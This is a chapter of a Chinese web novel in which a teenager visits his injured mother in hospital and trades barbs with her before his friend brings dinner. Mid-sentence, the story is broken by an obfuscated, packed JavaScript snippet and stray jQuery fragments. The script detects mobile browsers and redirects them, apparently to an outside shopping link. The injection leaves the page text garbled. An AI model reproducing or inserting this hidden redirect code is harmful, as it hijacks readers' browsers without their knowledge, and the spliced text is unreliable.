医院里弥漫着刺鼻的消毒水味，桑群不太喜欢这个地方，那联系着他最深的噩梦。
桑母的病房在走廊尽头，医院有些老旧，走廊一扇窗都没有，刺眼的白炽灯照得视网膜酸痛。
风堵塞着，然后门推开了。
桑母坐在病床上，裤腿卷起，雪白的绷带缠得发肿。
桑群叫了一声：“妈。”
桑母看见他轻轻皱眉：“……真不知道她们叫你来干什么，再晚两分钟我就自己跑回家了。”
“都骨折了，还不当回事，”来的路上医生已经跟他说了大致情况，桑群在床边坐下，“既然建议你住两天，那就受下罪，反正过两天国庆节放假，我也能……”
“你能干什么？”桑母反问道，“你最近不是洗心革面要好好读书吗？不用管我，我自己在家躺躺就差不多了，也不用破这个费……”
桑群看着她：“你以为这样我就不会问吗。为什么受伤？”
“……搬东西不小心撞到了，这么点事搞得兴师问罪似的。”
“你搬什么东西，”桑群的目光很平静，带着些许压迫感，撑在膝头的双拳早已握紧，“有什么东西是需要你搬的？”
“工厂里总有事忙……”桑母垂下眼，神色有些僵硬。
“撒谎，”桑群说，“最近厂里不忙，没钱赚了，你又跑去接别的活儿是不是？”
床上的人没再说话。
“他们都告诉我了，你是从工地来的，”桑群叹了口气，语调低低的，“那种地方都是苦力活，不是你该干的……”
“不是我该干的，难道就是你该干的吗？”桑母抬眼看他，情绪有些不稳定，“你一个未成年，不回家住也不问家里要钱，几百块从上学期用到现在，你平时在干什么？”
桑群皱眉：“这个你不用管，我……”
“是啊，我不用管，”桑母冷笑，声音不自觉抬高，“那你也不用在这里对我说教。”
桑群眯了眯眼，没再说话。
桑母别过脸去：“……跟你说不过两句就要吵，不如我跟年年聊天。”
桑群：“他待会儿就来了。”
桑母顿了顿，回头看他：“你叫他来干什么？”
桑群却问：“吃饭了吗。”
“吃过……”
“咕——”
桑母有些尴尬地收住话头。
桑群替她掩饰过去，低声道：“我饿了，一块儿吃吧，年年亲自做的。”
“哼，”桑母嫌弃地看了他一眼，“长这么大了，还要年年照顾你。”
“他是哥哥啊。”
提到阮牧年，母子俩之间的氛围总算没那么剑拔弩张了。
“有什么想吃的，”桑群拿出手机，“让他给你做。”
“麻不麻烦啊，”桑母叹了口气，“你就天天使唤人家是吧？叫他随便做点就好，我减肥呢。”
桑群轻哼：“你胖过吗。”
“胖过啊，生……”桑母说到一半停住了，生硬地续上，“反正，你们长身体的先吃饱再说。”
桑群听懂了被她截断的话音，是生他的时候。
母亲的体态早已不如当年，发丝凌乱许久未梳理，只是草草扎了个马尾。在工厂、工地或是其他什么地方到处奔波，家里的化妆品也早已落灰。
以前母亲总是喜欢修身的长裙，挽起一边发丝，然后明媚温雅地笑。
现在不能了，太多东西化作风霜，侵袭这张姣好精美的面庞。
连回忆上次她的笑容，都需要苦思冥想。
“皱着眉头想什么呢？”桑母的声音打断他的思绪，“来了一张嘴就教训我，不开口就沉默得跟尊雕像似的，我看你还得收费是吧？”
桑群怔了怔：“没，我……”
“锯嘴葫芦，”桑母嘁了一声，“一瓢水都装不下。”
桑群：“……”
“你先嫌我烦的，”桑群无语，“安静了又嫌我沉默。要不定个闹钟吧，让响响，让停停。”
“怎么不反省一下自己连闹钟都不如？人工还智障？”
“……刚就应该让年年做点鸡肉给你吃。”
“你自己多补点核桃吧，别天天夹门里。”
桑群张了张嘴，没想到更毒的。
“呵，”他只好认输，“你赢了。”
“斗嘴还想斗赢我呀，”桑母得意，“也不看看你是谁教的。”
“是是，”桑群无奈点头，“全仰仗您。”
两人又没话了一会儿，母亲的神色变得不自在，反复抠指甲缝。
刚刚是她先开口，现在该轮到自己了。
“嗯，”桑群绞尽脑汁，“这两天参加了月考……”
“怎么，”桑母立马接住他的话，“你以前从不参加？”
“不是，”桑群挤牙膏似的进行小学生周记汇报，“这次没睡觉，全程考完了……”
桑母惊奇：“你还在考场睡觉过？考的怎么样？”
桑群：“……6分。”
桑母的表情变得一言难尽：“那你也是个人才。”
“物理，”桑群又说，放弃了衔接词，“班主任的课。”
桑母挑了挑眉，拿出手机翻了翻：“最近也没接到学校来电啊，你考成这样不需要叫家长吗。”
“是上学期，新的班主任还能跨期执法吗，”桑群说，“我捡彩票都能中奖。”
桑母无语：“那是人家开奖后扔地上的，跟你没关系。”
“反正，”桑群迅速结束这个话题，“很顺利。呃，还报名了运动会……”
桑母担忧地叹了口气：“你这表达能力，作文是不是10分都没有啊？”
“怎么可能，”桑群果断反驳她，“少说十几分。”
桑母：“……呵呵。”
很光荣吗？
“刚练完接力回来，”桑群继续日程汇报，感觉没什么可讲了，“嗯……年年做的晚饭很香，一闻就饿了，你待会儿尝尝。”
桑母问：“做的什么菜？”
桑群：“……肉？”
“你考6分的真的是物理吗，”桑母一脸怀疑，“不应该是语文吗？”
“不可能，”桑群斩钉截铁道，“语文至少比它多一位数。”
桑母挑眉：“16？”
桑群：“……60。好歹也是满分150的科目，对我一点信心都没有吗。”
桑母：“有不了一点。”
桑群：“……”
两人无言地互瞪了两秒，桑母说：“3秒后响铃。”
桑群刚要说什么，她又补充一句：“铃声将进酒。”
“……您直接认闹钟当干儿子得了，”桑群无语至极，“整天在手心里陪着，说什么干什么，也不用搁我这儿费劲。”
“是啊，”桑母说，“你怎么不跟你弟弟学学？”
桑群深吸一口气，没能完全吐出来。
病房门在这时敲响了。
护士姐姐先走进来：“就是这儿了。”
“好的好的，谢谢姐姐带路，”熟悉的清朗少年音在门外响起，进门先向病房里的所有人点头问了声好，“打扰了大家。”
护士走了，阮牧年两手拎满了东西走向第一张病床：“阿姨你怎么样了啊？不好意思我来晚了……”
“哎呦，”桑母本来靠着枕头，看见他直接坐直了，“你这孩子，提饭就提饭，怎么还买这么多东西过来？”
“不多啊，就是饭后水果，”手里两袋饭盒一袋水果，阮牧年把它们放到床头柜上，在病床另一边坐下，“我和桑群每天都要吃至少三种水果呢，您不吃我俩都不一定够。”
“嚯，”桑母转头看向自家儿子，“这么养生？”
桑群：“……嗯。”
怎么张嘴就来，桑群想了半天，有这回事吗。
“情况怎么样啊，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356300|199683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
严不严重？”阮牧年看了看桑母的脚，眉毛皱起满脸担忧，“桑群没说两句就赶来看您了，我刚也来不及多问……这是打石膏了吗，疼不疼啊？”
“没事没事，哎呀别担心，”看他眼睛都快红了，桑母连忙拍了拍他的手，握在掌心里，“没什么大事，医生说躺几天就好了，一点磕磕碰碰而已，瞧你吓的。”
“毕竟我们总会挂念您啊，”阮牧年也抓了抓桑母的手，说，“还好不严重，平常也要多多小心啊，留意身体状况……”
“知道啦知道啦，还是咱们年年最关心我了，”桑母拍着他抿开唇笑，酒窝里挂着慈爱，“不像有些人，过来就跟我吵架。”
不是，闭嘴也中枪？
阮牧年愣了愣：“吵架……怎么了这是？”
桑群不语，只是把手机丢到病床上：“来，这是你年年哥哥，打声招呼。”
闹钟欢快地响铃。
阮牧年：“？？？”
“哦别害怕，这是我刚收的二儿子，”桑母面不改色，解释道，“咱们一家四口要好好相处啊。桑群，愣着做什么。”
桑群：“……啧。”
“哥您受累了，”桑群低头关掉吱哇乱叫的新出炉的二哥，丢进口袋，看向他妈，“满意么？”
阮牧年算是看懂了，桑桑这是因为没闹钟听话被贬成老幺了呀。
“桑群也很关心您的，他刚训练回来鞋都没换呢，又穿出去了，”阮牧年笑了笑，缓和他俩关系，“反倒是我姗姗来迟的，可不准时呢。”
“唉，他的嘴要是有你一半甜，我还用受气吗。”
“话不能这么说，”阮牧年慢慢抚摸着桑母的手背，声调温和，“他毕竟是您亲骨肉，就算嘴上不说心里肯定也是疼得不行；我没有跟您血脉相连的福气，只能嘴上多关心关心了呀。”
“哎呀，”桑母越听越高兴，心里软软的，“还是年年会说话。”
干母子俩其乐融融，亲儿子偏要出来煞风景：“你们不饿吗。”
饿死了，考了一天试还去跑接力，有什么事能不能吃完饭再聊？
“哦哦对哦，差点忘了，”阮牧年连忙起身，打开饭盒袋子，“我和桑群刚要吃饭呢，正好跟您一块儿了。做了点没那么油腻的，趁热吃，您看看合不合胃口。”
桑群找来小桌板架在病床护栏上。
“年年厨艺我还不知道吗，”桑母笑着说，“肯定好吃。都有什么菜呀？”
阮牧年一样一样往外拿：“一道芹菜，木耳炒面筋，也有肉的，这个青椒炒五花，还有酸菜拌肉沫开开胃，怕您觉得味儿重，粥底下还垫了一张煎蛋，尝尝？”
“嚯，丰盛啊，”桑母笑说，“你们每天吃的都是米其林大餐啊。”
“哪有哪有，”阮牧年将筷勺递过去，“今天三个人所以多做了点，平常我们也就随便吃点，能饱就行。”
“也不能太随便了呀，毕竟长身体呢，”桑母尝了尝五花，“嗯！好吃！”
阮牧年举着筷子给她多夹了一点：“喜欢就好，您多吃点，生病就容易饿呢。”
三个人的电影，两个人的亲情，弃子桑群在一旁纳闷地用筷子戳肉：“怎么没有鸡肉。”
阮牧年：“？”
“要夹就夹，脏不脏，”桑母毫不客气地打了他筷子一筷子，“弄得都是你口水。”
桑群：“……我还没入口呢。”
“年年啊，”桑母叹了口气，“你有买核桃不？”
阮牧年：“？？”
桑群赶紧给他妈夹了块面筋：“吃都堵不住你的嘴。”
桑母微笑：“那你闭嘴吃饭呗。”
“……”
桑群抿住一块五花，吸溜进嘴里，边嚼边幽怨地看着他俩。
阮牧年担忧地给他也夹了块肉放进碗里：“敞开嚼吧，别吸进气管里去了。”
桑群：“……”
这人到底站哪边的？